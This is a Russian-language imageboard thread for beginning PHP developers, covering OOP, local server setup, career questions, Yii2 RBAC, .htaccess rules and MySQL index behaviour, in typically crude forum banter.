Скиньте чего-нибудь коротенького (прочитал длинные статьи и ничего не понял), простенького(я у мамы тупой), чтоб я наконец, понял ОПП и, что немаловажно, MVC.
От процедурного стиля все нос воротят, да и сам я в нем путаюсь, а все эти методы и классы представляю себе массивами с функциями.
#348 #562853
>>562845
Да блядь что сложного в ООП?
#349 #562857
>>562845
У ОПа на сайте с задачками есть заготовки под уроки по ООП и пара задачек, начни делать и в процессе придет понимание. С MVC разобрался когда пощупал CMS'ку изнутри Opencart, а до этого это были какие-то эфемерные понятия.
#350 #562860
>>562845

Для начала открой учебник в ОП посте, открой там главу про ООП и реши Вектор и Кошки-Мышки.
#351 #562904
>>562815
Да, ссылка в оп-посте.
#352 #562919
>>562845
Попытайся "привязать" все из ООП к реальному миру. Я методы всегда представлял так -Я (мэин класс) отдаю отличнице свое задание (массив) и она мне возвращает уже все сделанное(отсортированный массив). Как она это сделает - вообще не моя забота.
#353 #562923
>>562919
Реализовал бы с ней ПАТТЕРН ИНЖЕКТОР?
#354 #562967
>>562919

Только еще важно массивы не использовать там, где лучше использовать объекты.
#355 #562968
>>562836
ОП, почему ты не советуешь установить WAMP, а рассматриваешь только отдельную установку?

Есть какие-то подводные камни?
#356 #562999
>>562968
OpenServer гораздо лучше и функциональнее вампа.
#357 #563002
>>562999
>>562968
денверобог ссыт на унтерменшей
#358 #563003
>>563002
Какого это, в 2015 писать на альфе 4-ки?
#359 #563007
>>563003
Это была ирония, тащемта (я все еще на дваче, или в филиале одноклассников?).
Любая сборка для умственно неполноценных.
#360 #563009
>>563007
Как раз-таки умственно неполноценные не используют сборки для разработки. Это пиздец как экономит время.
А что в нашем мире ценнее времени?
#361 #563011
>>563009
apt-get install php5 mysql-server mysql-client apache2
Чтобы набрать это, мне понадобилось 10 секунд (я надеюсь, ты хоть слепым методом владеешь, программист? или набираешь двумя пальчиками?)
Еще пару минут подождать, пока скачается и установится.

>что в нашем мире ценнее времени?


Знания? Мозги?
#362 #563013
>>563009

Трудно читать предложение с 2 отрицаниями, но если ты хотел сказать что ставить самому сервер сложно,то ты ошибаешься. Если ты разбираешься в конфигурировании Апача/PHP, то это проблем не вызывает.

Да, это требует понимания что ты делаешь, но если ты с конфигурацией Апача разобраться не можешь, выйдет ли из тебя хороший разработчик?

Если ты используешь Линукс, например дебиан, то установка сводится к нескольким командам apt-get install. Это быстрее и удобнее чем установка софта под винду.

А сборки часто используют устаревший софт, нестандартные странные настройки, в них не работает композер потому что надо запускать отдельную командную строку и тд.
#363 #563014
>>563009

Сборки не экономят время. Ты теряешь время на борьбу или обход их нестандартных настроек, разбирательство почему не работает композер и тд.
#364 #563015
>>563009

Ну и экономить время надо на работе, а если ты начинающий, надо изучать возможности и особенности Апача/PHP.
#365 #563022
>>563011

> apt-get install php5 mysql-server mysql-client apache2


> Чтобы набрать это, мне понадобилось 10 секунд (я надеюсь, ты хоть слепым методом владеешь, программист? или набираешь двумя пальчиками?)


> Еще пару минут подождать, пока скачается и установится.


Лол бля, ты хоть раз сервер настраивал? На установке пакетов всё не заканчивается.
Да и в разработке тебе нужно постоянно жонглировать версиями пыхи, разными бэками, конфигами, базами, версиями баз.
В твоем примере установка лампы, её ещё и настоить нужно. А если тебе нужно будет делать проект на 5.5 под нджиниксом и с постгресом, что делать будешь, 5-10-20 минут пердолить консоль? А в сборке это два клика. Причем, всё настроено автором.

> >что в нашем мире ценнее времени?


> Знания? Мозги?


Знания и мозги можно купить. Причем, мозги в буквальном смысле.
#366 #563026
>>563013
>>563014
Никогда не возникало таких проблем с опенсервером, там всё предельно прозрачно. Для каждого проекта можно писать свои конфиги. Версии ПО разработчик очень шустро апдейтит, но можно и самому всё обновлять, если так хочется.

>>563015
Да, но только в начале.
Программист занимается программированием, серверный администратор серверами.
Зачем все настраивать руками, когда всё настроено и есть гуй - я понять не могу.
#367 #563027
>>563022

Просто скажи что не осилил даже конфигурирование Апача, это будет честнее.

> А если тебе нужно будет делать проект на 5.5 под нджиниксом


А в сборке ни 5.5 ни нгинкса вообще нет. И под линуксом она не работает.

> Причем, всё настроено автором.


Причем нестандартно потому что автору так больше нравится.

> нужно постоянно жонглировать версиями пыхи,


никогда не заморачивался с точным соответствием версий.

> Причем, мозги в буквальном смысле.


Торговля человеческими органами уже разрешена?
#368 #563036
>>563022

Вообще в рабочих проектах для разработчика удобнее иметь какой-то готовый скрипт разворачивания проекта (или образ виртуальной машины вроде тех что создает вагрант/докер, но тут есть свои подвохи, в том виде как оно сделано сейчас, по моему это неудобно).

Это тоже по сути сборка, только не виндоподелка уровня денвера, а нормальная вирутальная машина с линуксом.
#369 #563038
>>563027

> Просто скажи что не осилил даже конфигурирование Апача, это будет честнее.


Настраивал, и не раз. Какое это отношение к сборкам имеет вообще?

> > А если тебе нужно будет делать проект на 5.5 под нджиниксом



> А в сборке ни 5.5 ни нгинкса вообще нет.


Есть, в том-то и дело. И апач, и нгиникс, и лайтхттпд, и всё в нескольких версиях.

> под линуксом она не работает


Это да.

> > Причем, всё настроено автором.


> Причем нестандартно потому что автору так больше нравится.


Максимально комфортное для разработки же. Не нравится что-то - поменяй. Но у меня желание поменять что-то всего пару раз возникало, в то время как конфиг голого лампа нужно всегда изменять.

> > нужно постоянно жонглировать версиями пыхи,


> никогда не заморачивался с точным соответствием версий.


Потому что ничего серьёзного не писал, где есть куча легаси.

> > Причем, мозги в буквальном смысле.


> Торговля человеческими органами уже разрешена?


Не знаю, но вот скоро, вроде как, кому-то голову пересаживать будут. Или уже пересадили.

>>563036
Да, у меня на линуксе всё под вагрантом работает. Удобно.
#370 #563041
>>563038

Образы ВМ (вагрант/докер) тоже имеют недостатки: это чужая ВМ, в то время как у тебя есть своя, настроенная как тебе удобно.

Но у нас учебный тред. Нам как раз надо сначала научиться устанавливать и настраивать PHP, а не использовать убогое кривое старье вроде денвера и ему подобных.
#371 #563135
Накатил дебиан на виртуалочку, выставил ей и ядер много и оперативочки, 40гб винта, но всё равно как-то медленно работает. Да и что-то не так с ней, наверное, рар архив на 70мб пол часа разархивировал, хотя зип быстро работает. Я ноль в линуксе поэтому может подскажете что посмотреть, что поменять. Или может вообще установить дебиан как вторую ось?
#373 #563204
>>563192
Да, всё так и есть. И похуй, что пятёрка в ключе - строка.
164 Кб, 531x750
#374 #563328
После небольшого перерыва сломал ноут снова врываюсь в решение задач по JS.

1 и 2 задачи.
https://ideone.com/vdUcmE
https://gist.github.com/codedokode/ce30e7a036f18f416ae0#Задачки-на-js

Хоть есть и проверяльщик, и он принял ответы как верные, но я думаю, что не лишним будет запостить код, т.к. в прошлый раз к примеру x == undefined мне было засчитано как верное.
#375 #563334
>>563328
И сразу третья еще.
https://ideone.com/RVWIMt
#376 #563351
А как часто вам приходится работать с CMS'инами? Чтобы быть похапе погромистом, вообще, много знать надо? Вакансии погуглил, всем фулстаков подавай, чтобы 5 фреймворков знали, 10 либ для js, css3, html5, mysql на уровне выше высшего, bitrix, wordpress, drupal, jumla etc.
#377 #563367
>>563351
Знать надо очень много.
А ты думал большую зарплату платят просто так?
Фреймворков достаточно 1-2, но на хорошем уровне.
Про cms в вакансиях пишут на всякий случай, если ты больше ни на что не способен тогда конечно посадят натягивать шаблоны.
И нет ничего сложного в cms, просто это скучная, неинтересная работа, как на конвеере, поэтому все их так проклинают.
261 Кб, 400x509
#378 #563368
Посоны выручайте. Есть один сервер на котором тоны говнокода я добавлю еще:3 и прочего. Так вот решил я все свои поделки запихнуть в папку и там уже плясать. В htaccess прописал чудесное правило RewriteRule ^test((\/)?(.*))$ /folderName/index.php/$2 [L]. Все вроде как работает батя хвалит , но если заменить test на слово которое совпадает с folderName то все летит в пизду. Собственно схуяли и как этого избежать? первый раз пердолюсь с .htaccess
#379 #563372
>>563367

> И нет ничего сложного в cms, просто это скучная, неинтересная работа, как на конвеере, поэтому все их так проклинают.


Всё так и есть, я сейчас на сеошников работаю, 85% задач по сайтам на CMS. Вот и задался вопросом "это с php везде что ли так". И не знаю во что двигать, в стильно-модно-молодежное аля питоны и руби, или продолжать пыхать. Да и на том же апворке задач по пхп в 10-11 раз больше, чем на тех же руби/питон. А я на апворк хочу, да.
#380 #563388
>>563368
Конечно же
RewriteRule ^test(\/?(.*))$ /folderName/index.php/$2 [L]
#381 #563392
>>563372
Прочитай оп-пост, мануал и блог опа, сможешь прикинуть, что нужно знать и в каком направлении двигаться.
http://archive-ipq-co.narod.ru/tsuzuke.html
#382 #563402
>>560025

> https://github.com/codedokode/pasta/blob/master/forms.md


> Именно из-за такой ошибки некто Егор Хомаков смог взломать сайт гитхаб (написанный на Ruby on Rails)


Хомяков. А ведь я его знавал.
5070 Кб, Webm
#383 #563403
Анончики, поставил себе опен сервер и phpstorm.

Теперь хочу, чтобы можно было смотреть результат в браузере, но когда открываю там пишет 502 bad gateway.
Ясен хуй, я почти уверен, что я что-то не доделал, ну а что я должен был сделать?

Подключил в пхпшторме пхп интерпритатор, сделал сохранение файлов в папке опенсервера, запустил опен сервер.

А дальше то что?
#384 #563404
>>563392

> ссылка


Большинство вещей знаю (кроме фреймворков, поднятия серва и последнего абзаца, из которого ничего не понял). Но это же вроде базовый уровень, по каждому пункту дальше расти и расти. И я не знаю как с этого выйти на собственно саму разработку, мне вот, например, недавно могли подкинуть проект (CRM на laravel написать), так я посмотрел тз и даже не понял как к нему подступиться и не взял в итоге.
#385 #563405
>>563403

> в папке опенсервера


В папке domains запили папку с названием "сайта", резетни опенсерв, перейди в броузере по адресу %имя_папки%/index.php (ну или какой скрипт тебе там нужен).
А вообще раз у тебя пхпшторм есть, опенсервер нинужен, найди кнопку в шторме с изображением броузера и тыкни.
2939 Кб, Webm
#386 #563411
>>563405
Так я так и тыкаю.

А вообще, я сделал сохранение файлов в phpstorm сразу в ту папку домэинс.

Вообще смутно представляю как связать эти две программы, из всего, что я сделал получается, так это подключил пхп к пхпшторму.

Да и разве в phpstorm встроен свой локальный сервер, что я вот так просто с одной этой программой могу запустить код в браузере?

а вообще не нужно мне это, идеона хватает вполне на данном этапе, но я люблю копаться в этом всем, поэтому и ставлю, а может отлыниваю, чтобы php не учить
#387 #563414
>>563367
Ну ладно нет, модули дописывать, функции, это надо саму структуру цмс разбирать, проще на фреймворке с нуля делать.
#388 #563415
>>563404
А, и еще.

> почему нельзя в href у ссылки писать javascript:void()


Так почему нет? Если якорем # сделать, то на шапку будет прыгать. Для псевдоссылок самое оно же. Или мол preventDefault на каждую вешать?
#389 #563416
>>563414
Смотря что делать (хотя на битриксе всё сложно, какой-то ужас). А с нуля да, проще.
#390 #563417
>>563367

>А ты думал большую зарплату платят просто так?


Да 30ку они за все это платят, госпади. Тоже мне большая зарплата нашлась. Верстальщикам с js и js-фреймворками и всякими sass так и вообще 15.
#391 #563418
>>563414
Ну так делай, разве кто-то будет против, если ты перенесешь проект с друпала на симфони?
>>563417
Мы говорили не о твоей зарплате cms-макаки, а о зарплате программиста-уберменша.
#392 #563419
>>563411
Да вроде есть. Просто доступен будет по http://localhost:%какой-то порт%
Нагугли ман какой-нибудь аля "создание проекта phpstorm локальный сервер"
#394 #563421
>>562836
Правильно, а как я буду сталкиваться с примерами применения этих паттернов, если я их даже не знаю? Я перепечатываю паттерны ООП, потому что 1) это одно из требований. 2) книжка по ним есть в шапке. 3) они универсальны для других ЯП. Конечно, мне интересно, куда их можно приткнуть.
#395 #563423
>>563418
Не знаю, в какой стране эльфов ты живешь, просто погугли "веб программист удаленно вакансии" и посмотри требования и зарплату.
#396 #563427
>>563423
Лол, по-моему это у тебя отрицание, тебе же выше кто-то кидал ссылку на хедхантер.
Или ты натягиватель шаблонов из какого-нибудь залупинска?
#397 #563434
Бывают вообще вакансии веб-разраба 2 через 2? Меня пятидневка доебала уже.
#398 #563441
>>563415

>> почему нельзя в href у ссылки писать javascript:void()


> Так почему нет?


Потому что тег <a> используется для разметки гиперссылки. Гиперссылка это штука, которая куда-то ведет, по которой можно перейти, которую можно переслать в чате, сохранить в закладки.

То что тебе нужно это кнопка - штука, при нажатии на которую происходит действие.

Это основы HTML, знать для чего используются разные теги. Если человек пишет <a href="#" это значит что он не осилил даже основы HTML, а уже лезет что-то верстать. Хорошо бы гнать таких из профессии, но их среди верстальщиков процентов 90, не меньше.
#399 #563446
>>563415

Ну как можно не знать, что такое гиперссылка? Как расшифровывается HTML? язык разметки гипертекста. Гипертекст - это текст с гиперссылками на другие тексты.

HTML и HTTP разработаны Тимом Беренс-Ли из ЦЕРНа (это организация которая в том числе управляет большим андронным коллайдером), он хотел сделать возможность для ученых публиковать в сети разную научную информацию, а гиперссылки позволяли бы переходить от одного материала к другому. Язык HTML использовался для разметки текста с помощью тегов, а протокол HTTP - для доставки гипертекста с сервера в браузер.

Тег <a> это один из первых тегов в HTML, если мы возьмем одно из древних описаний HTML в 1992 году, он там есть: http://www.w3.org/History/19921103-hypertext/hypertext/WWW/MarkUp/Tags.html (англ)

Кстати, нашел еще интересный факт: стандарт HTML 1.2 за 1993 год объявлял теги HEAD и BODY устаревшими (англ): http://www.w3.org/MarkUp/draft-ietf-iiir-html-01.txt но они оказались гораздо более долгоживущими. Современный стандарт HTML5 считает эти теги актуальными, хоть и не обязательными.
#400 #563449
>>563204

А что не так-то? Числовые строки приводятся к числу, это описано: http://php.net/manual/ru/language.types.array.php

>>563351

Правильно, натягивать верстку на CMS проще и требует меньших знаний, потому это выносится как отдельные вакансии. Разработка ООП приложений на фреймворках требует больших знаний (и мы кстати этому можем научить но мало у кого хватает терпения).

В самих CMS ничего сложного, если ты хорошо знаешь PHP/HTML/итд и способен читать документацию, то разобраться несложно.

> чтобы 5 фреймворков знали, 10 либ для js, css3, html5, mysql на уровне выше высшего,


Ты преувеличиваешь. Если учиться в нашем треде то мы можем по всем этим технологиям человека прокачать, жаль мало у кого терпения хватает все изучить. А если учиться по пиратским видеокурсам и устаревшим учебникам, то да, натягиватель на CMS получается.
#401 #563452
>>563434

Только если фриланс (где ты работаешь как хочешь)/удаленка.
52 Кб, 433x500
#402 #563463
Поясните за пикрелейтед
#403 #563465
>>563463
ГАВНО ДЛЯ ДАУНОВ
#404 #563466
>>563463

Плохая книга от автора-быдлокодера.
#405 #563467
>>563463

Алсо на обложке иконки к тексту подобраны без логики, просто чтобы были, ужасно.
#406 #563468
>>563452
Работаю младшим разработчиком, 5 по 9. Фриланс конечно было бы хорошо.
#407 #563469
>>563465
>>563466
А по джаве из этой серии была хорошая книга.
#408 #563471
>>563469
РАЗ ТЕБЕ ПОНРАВИЛОСЬ ЗНАЧИТ ТЫ ДАВОН АЧИВИДНА ЖИ)))))
#409 #563481
Короче смотрите посоны. Есть офиц. работа, в день есть 3-4 часа свободного времени на ней. Решил использовать с пользой вместо инета и картиночек. Подумал дай-ка засяду прогоаммирования язык поизучать какой-нибудь. Почитал, тут рекомендуют пхп для начала. Поделал задачки на сайте, все изи (сам могу в басик екселя чуть по чуть). Далее зашел на лукмор почитать про пхп, пишут типо ебаный пиздец а не язык. Внимание вопросы:
1) если нет базы как таковой, с чего все таки начать?
2) пхп это пиздец в плане сложности в работе или как вида доп заработка?
3) может вообше ну его нахуй?
4) есть ли у двача адекватные предложения чем забить (полезным блеать и желательно приносящим доход) свободное время на работе?
Старт дискасс
#410 #563524
У меня jQuery проблемы, есть скрипт который вырезает кусок изображения из загруженной картинки через форму. Используется вот этот скрипт http://tympanus.net/codrops/2014/10/30/resizing-cropping-images-canvas/
У меня проблема в том что бы после того как совершиться эта операция, надо обратно засунуть в input формы для загрузки файла значение уже вырезанной картинки, то есть куска картинки, как это сделать? Делаю что то вроде такого:

$('#registration').click(function(){
$('#photo_input').val('КАКОЕ ЗДЕСЬ ЗНАЧЕНИЕ?');
});
\t\t

Где #registration это id кнопки регистрации, а #photo_input это id input который содержит файл, а какое значение файла который мы вырезали?
#411 #563527
>>563524
тебе не надо вставлять в форму ничего, кроме имени картинки.
Ты обрезаешь(хз как там, через ajax, наверное, после этого часть картинки ложится в папку, а её имя пишется в базу)
#412 #563536
>>563481
верстка и JS, PHP - это для даунов не учи его
#413 #563539
>>563527
А как положить имя картинки которое получится после обрезки?
#414 #563542
>>563441
Т.е. пилить button и стилями убирать у него оформление?
#415 #563548
>>563449

> Правильно, натягивать верстку на CMS проще и требует меньших знаний, потому это выносится как отдельные вакансии.


В смысле как отдельные? Постоянно натыкался на вакансии "php developer", где это было одним из пунктов требований, а не отдельной вакансией (типа разработчик drupal).
#416 #563550
>>563539
оно останется тем же, по идее. разберись в этом суперплагине, почитай как там что, как по мне это кал.
Мне тоже как-то нужно было похожее сделать, я делал через jcrop
http://deepliquid.com/content/Jcrop.html
#417 #563553
>>563548

Возможно это и есть отдельная вакансия натягивателя CMS. Хуже всего то, что от этой работы ты не учишься ничему новому.
#418 #563558
>>563553
Я сейчас на такой работе подзастрял и не знаю как выбраться лол. В моем мухосранске нет вакансий не связанных с CMS, а в удаленку не могу, потому что нет опыта разработки на фреймворках. Уйти и учить фреймворки тоже не могу, нужно за квартиру платить. По вечерам пытаюсь что-то делать, но прогресс идёт медленно, времени не хватает.
#419 #563561
>>563558
тоже было такое, советую тебе придумать какой-то проект, интересный, который бы тебе хотелось сделать, и начать его писать на фреймворке, который выберешь, по ходу дела будешь изучать нужные фичи фреймворка и у тебя появится тяга что-то делать, а не отдыхать после работы.
#420 #563578
>>563561
Спасибо за совет, пара идей есть. А потом куда? И как не зафейлить? Боюсь приучиться говнокодить по незнанию. Было такое, сложно переучиваться.
259 Кб, 1366x768
RBAC #421 #563580
Антоши, поясни за RBAC в YII2

Настроил роли, например, так: guest, author, admin
У гостя - login, signup;
у автора - guest, add-post, delete-post;
у админа - author, edit-post.

1) Теперь, в контроллере я могу при старте каждого экшена проверить права так:
public function actionArpejio(){
if (!\Yii::$app->user->can('arpejio')) {
\\IMPOSSIBLE
}else{
\\JUST DO IT
}
}

Нету ли здесь избыточности, что я 2 раза пишу название экшена или стоит и прописать в beforeAction и проверять права единым способом там?

2) Другим способом, в поведениях я могу задать доступ так:
$behaviors['access'] = [
'class' => AccessControl::className(),
'only' => ['arpejio'],
'rules' => [
[
'actions' => ['arpejio'],
'allow' => true,
'roles' => ['admin'],
],
],
];
Зачем тогда мне нужно было вообще присваивать права при создании RBAC, если я могу их в каждом контроллере проверять их так?

3) Зачем вообще нужна роль гостя, если она нигде не присваивается явно?
Сейчас в поведениях для автора у меня стоит это:
$behaviors['authenticator'] = [
'class' => HttpBearerAuth::className(),
'only' => ['add-post','delete-post'],
];
То есть контроль того, что не может гость уже идёт тут, зачем надо было вообще его вводить? Для иерархии и "наследовании" прав?
259 Кб, 1366x768
RBAC #421 #563580
Антоши, поясни за RBAC в YII2

Настроил роли, например, так: guest, author, admin
У гостя - login, signup;
у автора - guest, add-post, delete-post;
у админа - author, edit-post.

1) Теперь, в контроллере я могу при старте каждого экшена проверить права так:
public function actionArpejio(){
if (!\Yii::$app->user->can('arpejio')) {
\\IMPOSSIBLE
}else{
\\JUST DO IT
}
}

Нету ли здесь избыточности, что я 2 раза пишу название экшена или стоит и прописать в beforeAction и проверять права единым способом там?

2) Другим способом, в поведениях я могу задать доступ так:
$behaviors['access'] = [
'class' => AccessControl::className(),
'only' => ['arpejio'],
'rules' => [
[
'actions' => ['arpejio'],
'allow' => true,
'roles' => ['admin'],
],
],
];
Зачем тогда мне нужно было вообще присваивать права при создании RBAC, если я могу их в каждом контроллере проверять их так?

3) Зачем вообще нужна роль гостя, если она нигде не присваивается явно?
Сейчас в поведениях для автора у меня стоит это:
$behaviors['authenticator'] = [
'class' => HttpBearerAuth::className(),
'only' => ['add-post','delete-post'],
];
То есть контроль того, что не может гость уже идёт тут, зачем надо было вообще его вводить? Для иерархии и "наследовании" прав?
#422 #563582
>>563580
Вас уже расстреливать надо начинать, за вброс кода сюда
#423 #563585
>>563582
Там кода почти нету, чего ты страдаешь?
67 Кб, 636x296
#424 #563590
Может кто с MySQL помочь? Есть одна база данных, в нее вносится несколько строк с помощью формы на сайте, все бы хорошо но данные попадают в хуй пойми какой кодировке в виде Ирина, хотя база настроена на utf8_unicode_ci. Если ввожу обычными sql запросами через консоль то все норм, что это может быть?
#425 #563592
>>563590
Пробовал ставить accept-charset='utf-8' у формы?
#426 #563593
>>563536
Благодарю за ответ. Верстка это вся линейка adobe? Js - javascript? Я тупорез в этом, извиняюсь если кому-то припекло.
#427 #563594
>>563578
просто делай как пишет coockbook и документация, если в чем-то сомневаешься спроси здесь, или на stackoverflow, оп даже разрешил сюда приносить показывать что там, а он будет говорить где неправильно
#428 #563595
>>563593

> Верстка это вся линейка adobe?


ЧЕГО БЛДЯЬ?
#429 #563597
>>563595
Не зря извинился, кек
Ну ты объясни по человечески, че капсить то сразу
#430 #563598
>>563595
чего ты порвался?
человек спрашивает что нужно для того, чтобы верстать.
вместо того, чтобы выебываться, лучше бы объяснил ему.
Алсо как ни как а фотошоп в процессе создания дизайна бывает задействован.

>>563593
Верстка это html и css
#431 #563605
>>563598
Спасибо!
P.s. а вы сами как выбирали, что изучать будете? Просто пока пытался определиться с хотя-бы направлением голова кругом пошла, сколько есть всего, а вроде одна дисциплина.
#432 #563607
>>563592
Да, все равно кракозябры
#433 #563608
>>563605
ну всё зависит от того, чего ты хочешь.
Хочешь верстать? вбиваешь в гугл "верстка для начинающих" да и всё, там тебе пояснят и за технологии и за всё это
#434 #563610
>>563605
у опа есть задачки на css, не забудь их порешать
#435 #563611
>>563605
не так то много и направлений.
если говорить о верстке то тут вообще стек технологий не особо большой. Достаточно css и html
#436 #563623
>>563611
Если поподробней описать мою проблему, то родители отправили учиться на гуманитария, хотя сам всегда горел матаном. В универе, высшая математика, эконометрика не давали со скуки подохнуть. Потом был курс экселя и введение в vba. Мне осне нравилось писать код, за вознаграждение всему потоку решал всякое. Затем учеба кончилась, устроился в офис по профессии, благо цифр и вычислений финансовых тут хватает. Прошел год, я освоился и появилось свободное время, оптимизировал все эксель отчеты макросами и меня стрельнуло. Зайдя на лукмор ознакомиться, что там есть помимо vba я просто выпал. Питоны, перлы, джавы и т.д. что характерно в обсуждении любого, что на лурке, что тут пишут мол дерьмо для даунов. Вот я и не понял с чего начать то. Эх прям душу излил, сори за простыню не по теме.
>>563608
Спасибо.
>>563610
Хорошо, спасибо.
#437 #563624
Мне надо сделать так что бы при сокращении размера окна браузера, сокращался размер окна видео которое есть на странице, как это сделать? Я в яваскрипт не очень, можете подсказать что почитать по этому поводу?
#438 #563632
>>563623
верстка ведь это, грубо, говоря, рисование.
если тебе нравится делать что-то логичное, описывать механику, то добро пожаловать в бэкэнд. Кстати, php это серверный язык программирования и он как раз для этого. Думаю, тебе это больше подходит, чем верстка.
Но научится верстать всё равно придется, чтобы в более менее приемлемом виде выводить информацию на экран
#439 #563633
>>563624
тут яваскрипт не нужен, сверстай правильно
#440 #563639
>>563536

>верстка и JS, PHP - это для даунов не учи его



>>563632

Вот в это все и упирается. Я по ссылке в оп посте прорешал до айфона с кредитами, мне понравилось. Но я учить хочу не только в качестве приятного хобби разминающего мозг, но и для заработка. Что же имеет ввиду гражданин с приведенной цитатой? Что на пхп нельзя заработать? Или что пхп до неприличия прост и посему неуважаем среди небыдлокодеров (на звание которого я и не претендую).
sage #441 #563640
Сука, уебаны, тред 3-х имбецилов, которые в азах разобраться не могут.
#442 #563642
>>563590
Бамп
#443 #563648
>>563640
Тебя б учителем в школу, в начальные классы: "класс 15 имбецилов, которые в азах разобраться не могут, сажи всем"
#444 #563651
>>563639
Не знаю, что он имел в виду. Я начал с задачек опа и теперь работаю джуниором
#446 #563668
>>563427
причем тут моя локация, мудило? посмотри как работодатели объективно оценивают твои знания. тэг "удаленно" покажет именно объективную оценку, без скидок на ренту и уровень жизни в отдельных городах.
#447 #563672
Чот мне кажется, что учу я вот такой паттерны, фреймворки, делаю на них сайты. А потом окажется, что это все был проеб времени и нужно было учиться регистрировать сайт в яндекс метрике и натягивать макеты на вордпресс и жумулу.
#448 #563681
>>563441

> Если человек пишет <a href="#" это значит что он не осилил даже основы HTML, а уже лезет что-то верстать. Хорошо бы гнать таких из профессии, но их среди верстальщиков процентов 90, не меньше.


Всегда так делал, тег button вообще не использую.
#449 #563763
>>563672
Вот, поясните за пост, тоже интересует. Алсо, думаете перекатываться в другие языки? Почему?
#450 #563848
#451 #563895
>>563590

В консоли SET NAMES cp866 делаешь? В приложении в PDO кодировку указываешь?
#452 #563897
>>563672

Неужели чтобы пользоваться метрикой надо чему-то учиться? Алсо если ты прошел все курсы из нашего треда (включая HTML/CSS) то навык натягивания шаблонов ты приобретешь автоматически.

>>563681

Всегда неправильно делал.
#453 #563917
ОК, я вроде апнул левел, узнал про типы данных вроде деревьев и хеш-таблиц, алгоритмы, в частности сортировки (пузырьком, вставкой, быстрая сортировка и т.д.)
Так что попробую сделать еще один заход в понимании индексов.
(Прошу прощения, если тебе придется повторить некоторые вещи второй раз, ничего не могу поделать с тем, что до меня с первого раза не доходит)

>>561494

>Mysql идет по индексу, выбирая строки по возрастанию a, и каждую строку проверяет на соответствие условию WHERE


Хм, я почему-то думал, что всегда сначала выполняется where, а потом order.
Видимо при наличии индекса это не так. Вероятно, система перед тем как выполнить запрос, "прикидывает" возможные планы и оценивает их сложность и прочие вещи.
При наличии индекса на колонке, по которой идет сортировка, действительно удобнее пройтись сначала по индексу, где записи уже отсортированы.
Это объясняет, почему я не понимал некоторые вещи.

>>561155
Индекс на колонке a
SELECT × FROM t ORDER BY a LIMIT 10
Просто возьмет первые десять записей из индекса (вернее, ссылки на них, в индексе ведь хранится только кусочек значения проиндексированной колонки определенной длины + id записи в таблице).
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+------+-------+
| 1 | SIMPLE | test | index | NULL | ix_a | 4 | NULL | 10 | |

SELECT × FROM t ORDER BY b LIMIT 10 (по колонке b нет индекса)
Сначала отсортирует всю таблицу (с миллионом записей, например), затем выберет первые 10 записей. Фуллскан с сортировкой.
1 | SIMPLE | test | ALL | NULL | NULL | NULL | NULL | 1000504 | Using filesort

SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
Начнет ходить по индексу по порядку, проверяя каждую запись на соответствие условию where, пока не наберется 10 записей.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+--------+-------------+
| 1 | SIMPLE | test | range | ix_a | ix_a | 4 | NULL | 500252 | Using where |

>using where


>A WHERE clause is used to restrict which rows to match against the next table or send to the client.


Не понимаю, что они хотели сказать. Что за "next table"?

>The type column of EXPLAIN output describes how tables are joined. The following list describes the join types, ordered from the best type to the worst


Но у меня одна таблица, при чем тут джойны и способы их соединения? Или они имею ввиду объединение индекса (который возможно тоже можно представить в виде таблицы) с основной таблицей?

SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
Опять-таки, начнет ходить по индексу по порядку, проверяя условие, пока не подберет 10 подходящих записей.
Вроде бы результат explain не должен отличаться от where a > ? order by a limit 10
Но я уже привык к сюрпризам.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+------+-------------+
| 1 | SIMPLE | test | index | NULL | ix_a | 4 | NULL | 10 | Using where |
Нет, вроде все в порядке. Только вместо range получили index. Не знаю, как на это реагировать. Ну понятно, что здесь просто другое условие в where, там диапазон, а здесь равно/не равно, но что мне это дает?
Кстати, почему в предыдущем запросе rows получилось 500 тысяч (всего в таблице миллион), а теперь только 10? Ведь в первом запросе тоже стоит limit 10.
rows как я узнал означает "кол-во затронутых записей". Можно предположить, что значение rows означает кол-во записей, соответствующих условию, то есть сначала бинарным поиском mysql находит заданную величину в индексе, возвращает нам 10 записей благодаря limit, но сообщает о кол-ве записей, соответствующих условию. Мне это кажется странным, это ведь не кол-во реально "затронутых" записей. Под затронутыми я понимаю, что с этими записями производилась какая-то операция сравнения, но ведь здесь этого не было. Писали бы кол-во итераций, которое было осуществлено при бинарном поиске, чтобы найти величину, заданную в поиске.

SELECT MAX(a) FROM t
Здесь все просто, отдает из индекса одну (последнюю) запись.

>Select tables optimized away


>The query contained only aggregate functions (MIN(), MAX()) that were all resolved using an index, or COUNT(x), and no GROUP BY clause. The optimizer determined that only one row should be returned.


Ну вроде я это и сказал, только на человеческом языке.
А что с COUNT? Индекс используется при select count(x), но не вижу выигрыша в производительности. select count(x) на миллионе записей не отличается от select count(b), оба запроса занимают 0.55 секунды.
Я так понимаю, и в первом и втором случае производится подсчет кол-ва записей либо в индексе, либо в главной таблице. А поскольку оно одинаково, то и время одинаковое. Получается, нужно кешировать.

SELECT MAX(a) FROM t WHERE a < ?
Найдет бинарным поиском значение '?', отбросит все значения ниже данного, вернет последнюю строку из оставшегося.
Рискну даже предположить, что напишет explain. Наверное, type=range, extra = select tables optimized away, поскольку в условии диапазон, а в самом запросе агрегатная функция.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+------+---------------+------+---------+------+------+------------------------------+
| 1 | SIMPLE | NULL | NULL | NULL | NULL | NULL | NULL | NULL | Select tables optimized away |
Нет, почему-то type=null. И rows null, очень странно.

SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10
А вот с DESC я не знаю, как он поступит. Он может читать файл с конца? Если может, то будет читать с конца, проверяя строки на условие, пока не наберет 10 строк.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+--------+-------------+
| 1 | SIMPLE | test | range | ix_a | ix_a | 4 | NULL | 500252 | Using where |

Теперь индекс из двух полей (a, b).
SELECT x FROM t WHERE a = 1 ORDER BY b
Нужно взять из индекса все записи, где a > 0 и a < 2, после чего отсортировать по правой части индекса.
